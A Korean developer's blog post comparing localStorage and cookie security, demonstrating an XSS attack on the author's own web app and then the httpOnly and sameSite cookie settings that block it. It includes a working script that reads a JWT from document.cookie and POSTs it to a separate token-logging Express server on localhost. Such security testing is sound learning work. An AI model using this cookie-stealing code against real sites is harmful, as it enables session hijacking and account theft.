localStorage와 cookie의 보안성 비교하기
1. XSS 공격
- 공격 유형: XSS (Cross-Site Scripting)
- 공격 목적: 쿠키 탈취를 통한 세션 하이재킹
- 방어 방법: HttpOnly 속성을 설정하여 클라이언트 측 스크립트가 쿠키에 접근하지 못하게 함.
localStorage 처럼 httpOnly 속성이 없음을 가정해서 XSS 공격을 가해보았다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Attack Test</title>
</head>
<body>
<h1>XSS Attack Test Page</h1>
<script>
// 쿠키에서 JWT 토큰을 읽어서 공격 서버로 전송
const cookieString = document.cookie;
const cookies = cookieString.split('; ');
const tokenCookie = cookies.find(row => row.startsWith('token='));
if (tokenCookie) {
const token = tokenCookie.split('=')[1];
fetch('http://localhost:8001/log_token', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ token }),
}).then(response => {
if (response.ok) {
console.log('토큰 전송 성공');
} else {
console.error('토큰 전송 실패');
}
}).catch(error => {
console.error('네트워크 오류:', error);
});
} else {
console.error('JWT 토큰을 찾을 수 없습니다.');
}
</script>
</body>
</html>
const express = require("express");
const cors = require("cors");
const path = require("path");
const app = express();
app.use(cors()); // CORS 설정 추가
app.use(express.json());
// 정적 파일을 서빙하는 경로 설정
app.use(express.static(path.join(__dirname)));
// 토큰 로그 엔드포인트
app.post("/log_token", (req, res) => {
console.log("탈취한 JWT 토큰:", req.body.token);
res.sendStatus(200);
});
app.listen(8001, () => {
console.log("http://localhost:8001");
});
<공격 결과>
토큰을 탈취하였다.
<방어를 위한 httpOnly 속성 재작동>
속성을 다시 정상적으로 돌리니 XSS 공격에서 jwt가 보호되는 모습을 확인할 수 있다.
res.cookie("token", jwtToken, {
path: "/",
expires: new Date(Date.now() + 1000 * 60 * 60 * 24),
httpOnly: true,
sameSite: "Strict",
});
내가 기를 쓰고 csrf 공격도 해볼려고 했는데
cors를 true로 기존 서버로 바꾸는 등의 말도안되는 짓을해야해서 포기했다.
쿠키 탈취는 어느정도 가능하지만 이 쿠키로 안의 내역을 수정하는건 힘들어서 포기했다.
아마 몽고db가 뭔가 막고 있는게 아닌가 싶다.
'Web App Project' 카테고리의 다른 글
애플리케이션 구조 (그림으로 정리) (0) | 2024.06.18 |
---|---|
nivo를 통한 chart 내용 보강 (0) | 2024.05.19 |
이미지 검색 기능 만들기(contextAPI 상태관리) (0) | 2024.05.14 |
이미지 생성 기능 개발 방향 수정 (0) | 2024.05.13 |
cloudinary 사용하기 (0) | 2024.05.08 |